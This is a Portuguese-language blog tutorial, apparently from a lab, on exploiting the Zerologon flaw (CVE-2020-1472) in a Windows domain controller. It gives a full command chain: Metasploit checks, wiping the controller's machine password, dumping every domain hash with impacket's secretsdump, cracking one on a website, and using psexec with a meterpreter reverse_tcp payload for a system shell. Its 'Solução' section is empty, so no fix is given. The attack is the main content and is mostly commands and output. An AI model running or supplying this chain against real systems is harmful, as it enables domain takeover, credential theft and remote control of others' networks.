Assim que esta vulnerabilidade é explorada o atacante consegue obter o acesso a toda a lista de usuários e senhas do Active Directory e realizar a escalação de privilégio.

Cenário

100SECURITY - 192.168.0.100 - Host do Atacante

DC-2012 - 192.168.0.10 - Active Directory (Vulnerável)

Opção 01 - Verificar se o DC está Vulnerável via Script

01 - Passo

Você tem várias forma de confirmar se o servidor está vulnerável, este script é uma das formas.

Realize o clone deste projeto.

Linux
git hub https://github.com/SecuraBV/CVE-2020-1472

cd CVE-2020-1472/

ls -l

02 - Passo

Instale as dependências.

Linux
pip3 install -r requirements.txt

03 - Passo

Agora basta executar o script zerologon_tester.py [hostname] [IP].

Linux
./zerologon_tester.py DC-2012 192.168.0.10

Opção 02 - Verificar se o DC está Vulnerável via MSFConsole

01 - Passo

Se você tem apenas o IP do servidor você pode usar o auxiliar nbname e obter o hostname.

Linux
msfconsole

msf6 > use auxiliary/scanner/netbios/nbname

msf6 auxiliary(scanner/netbios/nbname) > set RHOSTS 192.168.0.10

msf6 auxiliary(scanner/netbios/nbname) > run

Observe que foi possível coletar o hostname DC-2012.

02 - Passo

Utilize o auxiliar cve_2020_1472_zerologon para verificar se o servidor está vulnerável.

Linux
msf6 > use auxiliary/admin/dcerpc/cve_2020_1472_zerologon

msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set NBNAME DC-2012

msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set RHOSTS 192.168.0.10

msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > check

Observe que o servidor está vulnerável.

Iniciando a Exploração

01 - Passo

Remova a Senha da conta de máquina do servidor vulnerável usando o comando :

Linux
msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set action REMOVE

msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > run

02 - Passo

Realize o download do projeto impacket e acesse o diretórios dos scripts de exemplo.

Linux
git clone https://github.com/SecureAuthCorp/impacket

cd impacket/examples/

03 - Passo

Execute o script secretsdump.py para obter a lista de todos os usuários e o hash das senhas.

Linux
python3 secretsdump.py -no-pass '[email protected]'

04 - Passo

Com esta informação você pode pode fazer um ataque do tipo Pass-The-Hash por exemplo, pode também tentar Descriptografar o Hash, enfim... várias possibilidades.

Linux
100security.local\marcos:1106:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::

05 - Passo

Inseri no site https://hashes.com/en/decrypt/hash o hash : e19ccf75ee54e06b06a5907af13cef42 e obtive a Senha : P@ssw0rd

06 - Passo

Utilizando o usuário 100SECURITY\marcos e a senha P@ssw0rd, consegui me conectar via RDP no servidor vulnerável.

Opção via MSFConsole

01 - Passo

Utilize o exploit do psexec.

Linux
msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > use exploit/windows/smb/psexec

msf6 exploit(windows/smb/psexec) >

02 - Passo

Defina o PAYLOAD de conexão reversa.

Linux
msf6 exploit(windows/smb/psexec) > set PAYLOAD windows/x64/meterpreter/reverse_tcp

03 - Passo

Defina as informações obtidas: IP, Usuário, Domínio e Senha :

Linux
msf6 exploit(windows/smb/psexec) > set RHOSTS 192.168.0.10

msf6 exploit(windows/smb/psexec) > set SMBUser marcos

msf6 exploit(windows/smb/psexec) > set SMBDomain 100SECURITY

msf6 exploit(windows/smb/psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42

04 - Passo

Execute o comando exploit para realizar a exploração, em seguida o comando sysinfo para exibir as informações do servidor explorado e o comando shell para assumir o controle do servidor.

Linux
msf6 exploit(windows/smb/psexec) > exploit

meterpreter > sysinfo

meterpreter > shell

C:\Windows\system32>

Solução

👍 Se este artigo te ajudou compartilhe!



  Autor

Marcos Henrique

 São Paulo/SP



  CVE Windows

Contato